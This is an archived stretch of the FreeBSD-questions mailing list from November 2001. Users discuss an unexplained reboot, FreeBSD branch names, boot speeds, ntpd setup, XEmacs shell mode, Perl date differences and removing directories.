<005901c170a2$1cd5efc0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" , "FreeBSD Questions" References: <005201c1706f$572afb80$6600000a@ach.domain> <003a01c1709e$e8318e30$0a00000a@atkielski.com> <20011119124150.R16195@monorchid.lemis.com> Subject: Re: Mysterious boot during the night Date: Mon, 19 Nov 2001 03:30:03 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Okay, I'm not very clear on all these different versions of the OS, and my snooping around the FreeBSD site did not greatly enlighten me. Which version of the OS is the version that would be distributed, say, on boxed CDs, like the version I initially bought at the store? I presume from what I've read that -CURRENT is more volatile than STABLE; how do both of these relate to RELEASE (if there is such a thing--my system mentions RELEASE on the screensaver). ----- Original Message ----- From: "Greg Lehey" To: "Anthony Atkielski" Cc: "Andrew C. Hornback" ; "FreeBSD Questions" Sent: Monday, November 19, 2001 03:11 Subject: Re: Mysterious boot during the night > On Monday, 19 November 2001 at 3:07:07 +0100, Anthony Atkielski wrote: > > Andrew writes: > >> You don't need to update the entire operating system if you can > >> procure and install the patch. > > Note, first, that this claim is wrong. > > > Good. So how do I know that this patch is related to the mysterious > > boot I observed? > > You don't. It just fits the symptoms. > > >> You may have to ask... but, from what Greg has said, the patch was > >> written specifically to make your chipset compatable with FreeBSD. > > > > Fine, but how do I know that a chipset incompatibility had anything > > to do with my problem? > > You don't. It just fits the symptoms. Note, however, that there's > nothing else in this box which is likely to cause the problems. I'm > writing this on a very similar machine, running -CURRENT (with the > fix), and I haven't had any trouble. The machine has been up for > nearly 2 weeks. > > Greg > -- > See complete headers for address and phone numbers > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 18:55: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from IMGate1.cshore.com (imgate1.cshore.com [63.237.136.14]) by hub.freebsd.org (Postfix) with ESMTP id 2E39237B419 for ; Sun, 18 Nov 2001 18:55:04 -0800 (PST) Received: from there (dialup-uu-dynamic245.cshore.com [63.112.158.245]) by IMGate1.cshore.com (Postfix) with SMTP id AB55523F76; Sun, 18 Nov 2001 22:19:14 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Matthew Graybosch Reply-To: matthew@starbreaker.net Organization: starbreaker.net Message-Id: <200111182159.11756@starbreaker.net> To: "Anthony Atkielski" Subject: Re: Mysterious boot during the night Date: Sun, 18 Nov 2001 22:02:30 -0500 X-Mailer: KMail [version 1.3] References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> In-Reply-To: <005901c170a2$1cd5efc0$0a00000a@atkielski.com> Cc: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 18 November 2001 21:30, you wrote: > Okay, I'm not very clear on all these different versions of the > OS, and my snooping around the FreeBSD site did not greatly > enlighten me. > > Which version of the OS is the version that would be distributed, > say, on boxed CDs, like the version I initially bought at the > store? I presume from what I've read that -CURRENT is more > volatile than STABLE; how do both of these relate to RELEASE (if > there is such a thing--my system mentions RELEASE on the > screensaver). - -RELEASE is the FreeBSD you get on packaged CDs. You could probably download ISOs of -STABLE and possibly -CURRENT, but those branches don't get packaged and sold. - -CURRENT is the development version of FreeBSD. Use if it you're a hacker or like to live on the edge. - -STABLE is the testing version, similar to Linux-Mandrake's "Cooker" distro. You'd use if if you absolutely can't wait for the next official release. - -RELEASE is the branch considered "suitable for use in production environments" -- mission-critical servers, etc. - -- Matthew Graybosch http://www.starbreaker.net GnuPG Key ID: 0x7D488659 "Sex, Unix, and rock 'n roll" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+HZGcCiK1X1IhlkRApQHAJ4o+i4Qr3oOBb5ecxVUpfbolwDK8wCfRVv+ 5Bg8ZPpPT7DV7xKfep5Jc7c= =dnP5 -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 19:29:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id C622737B405 for ; Sun, 18 Nov 2001 19:29:41 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id AD8F67855F; Mon, 19 Nov 2001 13:59:36 +1030 (CST) Date: Mon, 19 Nov 2001 13:59:36 +1030 From: Greg Lehey To: Matthew Graybosch Cc: Anthony Atkielski , freebsd-questions@freebsd.org Subject: Re: Mysterious boot during the night Message-ID: <20011119135936.S16195@monorchid.lemis.com> References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200111182159.11756@starbreaker.net> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sunday, 18 November 2001 at 22:02:30 -0500, Matthew Graybosch wrote: > On Sunday 18 November 2001 21:30, you wrote: >> Okay, I'm not very clear on all these different versions of the >> OS, and my snooping around the FreeBSD site did not greatly >> enlighten me. >> >> Which version of the OS is the version that would be distributed, >> say, on boxed CDs, like the version I initially bought at the >> store? I presume from what I've read that -CURRENT is more >> volatile than STABLE; how do both of these relate to RELEASE (if >> there is such a thing--my system mentions RELEASE on the >> screensaver). > > - -RELEASE is the FreeBSD you get on packaged CDs. You could probably > download ISOs of -STABLE and possibly -CURRENT, but those branches > don't get packaged and sold. > > - -CURRENT is the development version of FreeBSD. Use if it you're a > hacker or like to live on the edge. > > - -STABLE is the testing version, similar to Linux-Mandrake's "Cooker" > distro. You'd use if if you absolutely can't wait for the next > official release. No, as the name suggests, -STABLE is the most stable version. It's -RELEASE with bug fixes. > - -RELEASE is the branch considered "suitable for use in production > environments" -- mission-critical servers, etc. No, as the name suggests, -RELEASE is the version which gets released on CD-ROMs. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 19:32:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp2.america.net (smtp2.america.net [199.170.121.50]) by hub.freebsd.org (Postfix) with ESMTP id 56D9E37B417 for ; Sun, 18 Nov 2001 19:32:16 -0800 (PST) Received: from sweetwaterhsa.com ([65.167.255.35]) by smtp2.america.net (8.11.6/8.11.6) with ESMTP id fAJ3WD316074 for ; Sun, 18 Nov 2001 22:32:14 -0500 (EST) Message-ID: <3BF87D1B.4010607@sweetwaterhsa.com> Date: Sun, 18 Nov 2001 20:31:40 -0700 From: Doug Garrick User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010914 X-Accept-Language: en-us MIME-Version: 1.0 To: questions@freebsd.org Subject: 4.4 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To all concerned, I have just installed the 4.4 release and I am extremely pleased with the performance. I run some extremely old hardware at home so performance is a major factor for me. I was running 4.2 for a while then last week I had given the Mandrake 8.1 distribution a shot, and after 1 day I was fed up with the amount of time it took to boot and decided to install Freebsd 4.4. It was like night and day. I have been running Freebsd since the 2.1 release and I have just learned my lesson. I doubt if attempt linux again. Nice Job folks! Doug Garrick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 19:41:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by hub.freebsd.org (Postfix) with ESMTP id DF7CC37B417 for ; Sun, 18 Nov 2001 19:41:49 -0800 (PST) Received: from ausyddtp0050.ozemail.com.au ([203.166.66.104]) by mta03.mail.mel.aone.net.au with ESMTP id <20011119034122.HCPC12354.mta03.mail.mel.aone.net.au@ausyddtp0050.ozemail.com.au>; Mon, 19 Nov 2001 14:41:22 +1100 Message-Id: <5.1.0.14.2.20011119142916.01f296a0@pop.ozemail.com.au> X-Sender: rbyrnes@pop.ozemail.com.au X-Mailer: I wish it was Linux Date: Mon, 19 Nov 2001 14:33:48 +1100 To: "Anthony Atkielski" From: Rob B Subject: Re: Mysterious boot during the night Cc: "FreeBSD Questions" In-Reply-To: <02fd01c16fb1$b55a67e0$0a00000a@atkielski.com> References: <02b101c16f65$ec12f550$0a00000a@atkielski.com> <1292.10.100.98.21.1006004198.squirrel@10.100.3.5> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 08:49 18/11/2001, Anthony Atkielski sent this up the stick: >Always a possibility, but why would RAM produce an error only after many hours >of monotonous system activity? The amount of memory in use isn't changing >very >much. It may have been a small memory bug, like a single bit error in the wrong place in memory. Unless you are running parity memory, then a single-bit error will not be detected or corrected, and could crash the machine. Cheers, Rob -- First I must sprinkle you with fairy dust... [15200.8 km (8207.8 mi), 262.8 deg](Apparent) Rennerian This is random quote 407 of a collection of 1184 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 20: 1:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.radzinschi.com (cc222717-a.owml1.md.home.com [65.8.33.207]) by hub.freebsd.org (Postfix) with ESMTP id AEAAE37B405 for ; Sun, 18 Nov 2001 20:01:22 -0800 (PST) Received: from localhost (marco@localhost.radzinschi.com [127.0.0.1]) by mail.radzinschi.com (8.11.6/8.11.6) with ESMTP id fAJ41JN56334; Sun, 18 Nov 2001 23:01:20 -0500 (EST) (envelope-from marco@radzinschi.com) Date: Sun, 18 Nov 2001 23:01:19 -0500 (EST) From: Marco Radzinschi To: Doug Garrick Cc: Subject: Re: 4.4 In-Reply-To: <3BF87D1B.4010607@sweetwaterhsa.com> Message-ID: <20011118230051.V56320-100000@mail.radzinschi.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I second that... bloody RedHat Linux 7 and 7.1 took 10 times as long to boot as FreeBSD. Marco Radzinschi E-Mail: marco@radzinschi.com AOL IM: CrackedBoy Running FreeBSD 4.4-RELEASE i386 11:00PM up 7 days, 7:29, 1 user, load averages: 1.00, 1.00, 1.00 On Sun, 18 Nov 2001, Doug Garrick wrote: > To all concerned, > > I have just installed the 4.4 release and I am extremely pleased with > the performance. I run some extremely old hardware at home so > performance is a major factor for me. I was running 4.2 for a while then > last week I had given the Mandrake 8.1 distribution a shot, and after 1 > day I was fed up with the amount of time it took to boot and decided to > install Freebsd 4.4. It was like night and day. I have been running > Freebsd since the 2.1 release and I have just learned my lesson. I > doubt if attempt linux again. Nice Job folks! > > Doug Garrick > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 20:17: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cantvc.canterbury.ac.nz (cantvm.canterbury.ac.nz [132.181.2.36]) by hub.freebsd.org (Postfix) with ESMTP id B7B0637B416 for ; Sun, 18 Nov 2001 20:17:01 -0800 (PST) Received: from CONVERSION-DAEMON.it.canterbury.ac.nz by it.canterbury.ac.nz (PMDF V6.0-025 #39332) id <01KAW9LBYHRK9898G1@it.canterbury.ac.nz> for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 17:16:57 +1300 (NEW ZEALAND DAYLIGHT TIME) Received: from student.canterbury.ac.nz (rbm49.tacacs.canterbury.ac.nz [172.31.164.87]) by it.canterbury.ac.nz (PMDF V6.0-025 #39332) with ESMTP id <01KAW9LBMMVA937ORU@it.canterbury.ac.nz>; Mon, 19 Nov 2001 17:16:58 +1300 (NEW ZEALAND DAYLIGHT TIME) Received: from rbm49 by student.canterbury.ac.nz with local (Exim 3.22 #1) id 165ftf-000Iiz-00; Mon, 19 Nov 2001 17:19:03 +1300 Date: Mon, 19 Nov 2001 17:19:03 +1300 From: Richard B Mahoney Subject: Re: wordperfect 8.0 still available? In-reply-to: <"from ntaflos.andreas"@gmx.net> To: Andreas Ntaflos Cc: Subscribers to FreeBSD-Questions Reply-To: Richard B Mahoney Mail-Followup-To: Andreas Ntaflos , Subscribers to FreeBSD-Questions Message-id: <20011119171903.D59026@student.canterbury.ac.nz> MIME-version: 1.0 Content-type: multipart/signed; micalg=pgp-rmd160; protocol="application/pgp-signature"; boundary=11Y7aswkeuHtSBEs Content-disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.3-RELEASE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --11Y7aswkeuHtSBEs Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Dear Andreas, On Sun, Nov 18, 2001 at 03:11:44PM +0100, Andreas Ntaflos wrote: > Hello everybody,=20 > I was wondering about WordPerfect 8.0, it doesn't seem > to be available anymore (ports, download site). I know that Corel > Corel gave up in the linux business, but does that concern WordPerfect= =20 > too? >=20 > Just wondering.. All this isn't very pleasing. I was annoyed to find the same when I went to set up a new box a month or two back. No luck with the Corel site at all. I did get a copy from sunsite though. You might like to try: http://sunsite.ui.ac.id/pub/linux/nonfree/?M=3DA The file to download is: GUILG00.gz I've archived a copy on CD in case copies disappear completely. It might pay to do the same. Good luck, Richard Mahoney --=20 +----------------------- Richard Mahoney -----------------------+ | 78 Jeffreys Rd +64-3-351-5831 | | Christchurch New Zealand | +--------------[mailto:rbm49@it.canterbury.ac.nz]---------------+ --11Y7aswkeuHtSBEs Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: 9EYjjN6BsW/Qt3CdnpbQq94iPAFDAuaF iQA/AwUBO/iINla60siGOGUrEQJr0QCcDVDvT/TIbhiQ4nXwIb009Yb1lJwAn2U7 MyXRuGmVRRSN61+BR7Sr7zWd =xptD -----END PGP SIGNATURE----- --11Y7aswkeuHtSBEs-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 20:35:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from nyc.rr.com (nycsmtp1fb.rdc-nyc.rr.com [24.29.99.76]) by hub.freebsd.org (Postfix) with ESMTP id 2DDA737B41D for ; Sun, 18 Nov 2001 20:35:17 -0800 (PST) Received: (apparently) from scott1.nyc.rr.com ([24.168.25.8]) by nyc.rr.com with Microsoft SMTPSVC(5.5.1877.357.35); Sun, 18 Nov 2001 23:35:14 -0500 Message-Id: <5.1.0.14.0.20011118233146.0585be90@pop-server.nyc.rr.com> X-Sender: scottro@pop-server.nyc.rr.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 18 Nov 2001 23:35:14 -0500 To: Marco Radzinschi , Doug Garrick From: Scott Subject: Re: 4.4 Cc: In-Reply-To: <20011118230051.V56320-100000@mail.radzinschi.com> References: <3BF87D1B.4010607@sweetwaterhsa.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 23:01 2001/11/18 -0500, Marco Radzinschi wrote: >I second that... bloody RedHat Linux 7 and 7.1 took 10 times as long to >boot as FreeBSD. Heh--this got me curious enough to do a very lax test--a machine where I have several O/S's installed---KII6 450 with 192 megs of Ram. Booting from RH's Grub, so I began counting after the O/S began to boot--that is, if I choose FreeBSD, first it does this chainloader thing. Lots of factors that I ignored, but, with all but Win2k booting into text mode.... Trustix Linux (a stripped down RH clone) 15 seconds FreeBSD 18 seconds Slackware 8.0 18 seconds RH 7.2 31 seconds And, the Winner--- Windows 2000 Professional 65 seconds. :) Subjectively, FreeBSD just seems faster in many ways --as if it reacts more quickly to keystrokes than any of the others. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 21: 0: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from andrsn.stanford.edu (andrsn.Stanford.EDU [171.66.112.163]) by hub.freebsd.org (Postfix) with ESMTP id EF99737B417 for ; Sun, 18 Nov 2001 21:00:02 -0800 (PST) Received: from localhost (andrsn@localhost.stanford.edu [127.0.0.1]) by andrsn.stanford.edu (8.9.3/8.9.1) with ESMTP id UAA83563; Sun, 18 Nov 2001 20:45:55 -0800 (PST) Date: Sun, 18 Nov 2001 20:45:55 -0800 (PST) From: Annelise Anderson To: "P. U. (Uli) Kruppa" Cc: "freebsd-questions@FreeBSD.ORG" Subject: Re: ntpd / time server confusion In-Reply-To: <20011118102741.K639-100000@big> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 18 Nov 2001, P. U. (Uli) Kruppa wrote: > > Hi! > > Last night I thought it would be a nice idea to fetch the > exact time from some internet time server. > As far as I can see, I have ntpdate enabled in rc.conf and > I have produced some kind of /etc/ntp.conf but doing > # ntpdate I keep receiving messages like this: > > 18 Nov 10:39:42 ntpdate[56133]: no servers can be used, > exiting I think you're running ntpdate on boot (by enabling it in rc.conf) and then perhaps running ntpd. If ntpd is running, ntpdate cannot be used. The ntp.conf file and the driftfile refer to ntpd. ntpd can be started on boot with the xntpd_enable="YES" line; the program it runs in now named ntpd rather than xntpd. Annelise > In Google I found some confusing pages about time servers > being down because of security risks. > > So my question is: > Does this work at all and if yes > which lines should be put into my rc.conf and my ntp.conf? > > Thanx for your answers. > > Uli. > > > ************************************ > * P. U. Kruppa - Wuppertal * > * Germany * > * www.pukruppa.de www.2000d.de * > ************************************ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- Annelise Anderson Author of: FreeBSD: An Open-Source Operating System for Your PC Available from: mall.daemonnews.org and amazon.com Book Website: http://www.bittreepress.com/FreeBSD/introbook/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 21:20:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id C30A037B416 for ; Sun, 18 Nov 2001 21:20:34 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 6C1ADBD1F; Sun, 18 Nov 2001 21:20:34 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id VAA12802; Sun, 18 Nov 2001 21:20:34 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAJ5Ipi72817; Sun, 18 Nov 2001 21:18:51 -0800 (PST) (envelope-from swear@blarg.net) To: parv Cc: questions@FreeBSD.ORG Subject: Re: how to modify a "word" definition References: <25403662@toto.iv> <15350.28513.309480.583151@guru.mired.org> <20011117140156.A82747@moo.holy.cow> <20011117141351.D63067@blossom.cjclark.org> <5kzo5k4t8e.o5k@localhost.localdomain> <20011118015308.B15285@moo.holy.cow> From: swear@blarg.net (Gary W. Swearingen) Date: 18 Nov 2001 21:18:50 -0800 In-Reply-To: <20011118015308.B15285@moo.holy.cow> Message-ID: Lines: 24 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG parv writes: > wrote Gary W. Swearingen thusly... > > > If you want really good control over mousing things (in or out of X), > > use the XEmacs (or similar) shell mode where you can make the mouse > > recognize any thing you want and even have it (with ctrl, shift, alt, > > extra characters, etc.) grab words, lines, URLs, filenames, or whatever, > > and have it run commands (eg "Netscape -remote", "xemacs --read-only") > > on the selection. > > i see only 2 "standard" editing modes in bash and ksh: "emacs" and > "vi". no "XEmacs" mode; i suppose you were referring to "emacs" > mode... which i already have. The XEmacs editor has a "shell mode" for editing buffers which makes the editing buffer do terminal emulation. Its rather like your editing a terminal log except that when you press "Enter" on the command line, it sends the command to the shell, etc. Very much better than standard terminal emulators (except that the standard version, the most functional one, doesn't do interactive commands well). I think it uses the "$SHELL" shell, by default. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 21:30: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id F2AAC37B416 for ; Sun, 18 Nov 2001 21:29:56 -0800 (PST) Received: from sdn-ar-008dcwashp096.dialsprint.net ([63.178.91.184] helo=moo.holy.cow) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165h0G-0002Ig-00; Sun, 18 Nov 2001 21:29:56 -0800 Received: by moo.holy.cow (Postfix, from userid 1001) id E04A650B85; Mon, 19 Nov 2001 00:31:10 -0500 (EST) Date: Mon, 19 Nov 2001 00:31:10 -0500 From: parv To: Mike Meyer Cc: questions@freebsd.org Subject: Re: how to modify a "word" definition Message-ID: <20011119003110.A860@moo.holy.cow> Mail-Followup-To: Mike Meyer , questions@freebsd.org References: <58119620@toto.iv> <15351.47672.902880.823722@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15351.47672.902880.823722@guru.mired.org>; from mwm@mired.org on Sun, Nov 18, 2001 at 07:40:08AM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in message <15351.47672.902880.823722@guru.mired.org>, wrote Mike Meyer thusly... > > parv types: > > > in message <5kzo5k4t8e.o5k@localhost.localdomain>, > > wrote Gary W. Swearingen thusly... > > > > > If you want really good control over mousing things (in or out of X), > > > use the XEmacs (or similar) shell mode where you can make the mouse > > > recognize any thing you want and even have it (with ctrl, shift, alt, > > > extra characters, etc.) grab words, lines, URLs, filenames, or whatever, ... > > > > > i see only 2 "standard" editing modes in bash and ksh: "emacs" and > > "vi". no "XEmacs" mode; i suppose you were referring to "emacs" > > mode... which i already have. ... > Gary is referring to running a shell inside of Emacs - or XEmacs. In > emacs, it's possible to associate a process with a buffer, such that > output from the process is appended to the buffer, and the newline key > causes input back to the prompt to be sent to the process. ( other emacs & shell interaction explanation deleted. ) mike, your reply cleared the things as gary s. wasn't explicit enough for ignorant like me. this thread had been rather educational for me. i thank everybody for their replies. - parv -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 21:37:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.ideal.net.au (ion.ideal.net.au [203.20.241.5]) by hub.freebsd.org (Postfix) with ESMTP id DF77A37B416 for ; Sun, 18 Nov 2001 21:37:35 -0800 (PST) Received: from helium.ideal.net.au (helium.staff.ideal.net.au [202.3.35.2]) by mail.ideal.net.au (8.9.3/8.9.3) with ESMTP id QAA10795 for ; Mon, 19 Nov 2001 16:37:27 +1100 (EST) (envelope-from chris@ideal.net.au) Message-Id: <5.1.0.14.2.20011119163225.01f5b130@mail.ideal.net.au> X-Sender: chris@mail.ideal.net.au X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 19 Nov 2001 16:37:27 +1100 To: freebsd-questions@FreeBSD.ORG From: Chris Aitken Subject: Epoch Time on Freebsd with perl Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all, Something im trying to play with is this. Im pulling 2 date/time variables from a database, and what im trying to do is work out a comparison between the both dates..... for example $date1 = "2001-10-01 01:00:00"; $date2 = "2001-10-01 03:00:00"; What I want is to somehow calculate that there is 2 hours between these 2 dates (or 120 minutes, or 7200 seconds etc etc) I know I can do a time() and it will return the number of seconds from epoch, but it only works on live time, and I cant feed it a date and let it calculate it on that. Any help on this would be appreciated. Cheers Chris -- Chris Aitken - Administration/Database Designer - IDEAL Internet email: chris@ideal.net.au phone: +61 2 4628 8888 fax: +61 2 4628 8890 __-----------------------------------------__ # ln -s /dev/null /bin/laden If you don't like my typing, all flames to /bin/laden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 21:53:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f32.law11.hotmail.com [64.4.17.32]) by hub.freebsd.org (Postfix) with ESMTP id 64AFF37B416 for ; Sun, 18 Nov 2001 21:53:52 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 18 Nov 2001 21:53:52 -0800 Received: from 24.116.158.21 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 19 Nov 2001 05:53:52 GMT X-Originating-IP: [24.116.158.21] From: "Charles Burns" To: brain_damaged@florida-wireless.com, freebsd-questions@freebsd.org Subject: Re: Removing dirs that aren't empty Date: Sun, 18 Nov 2001 22:53:52 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 19 Nov 2001 05:53:52.0310 (UTC) FILETIME=[9112A560:01C170BE] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG rm -rf /directory >Hello, >How can I remove a directory and its sub dirs all at once when the subs are >not empty ? > >I did not see a option in man rmdir to remove dir not empty. > >thanks >md > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 21:57:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id D1C2C37B419 for ; Sun, 18 Nov 2001 21:57:56 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 82A59BCF3; Sun, 18 Nov 2001 21:57:56 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id VAA18838; Sun, 18 Nov 2001 21:57:56 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAJ5uDB72863; Sun, 18 Nov 2001 21:56:13 -0800 (PST) (envelope-from swear@blarg.net) To: Kent Stewart Cc: FreeBSD Questions Subject: Re: Mysterious boot during the night References: <20011117130052.B7072@mars.thuis> <020e01c16f42$14885c10$0a00000a@atkielski.com> <20011117015632.B87944@xor.obsecurity.org> <02a001c16f53$215323b0$0a00000a@atkielski.com> 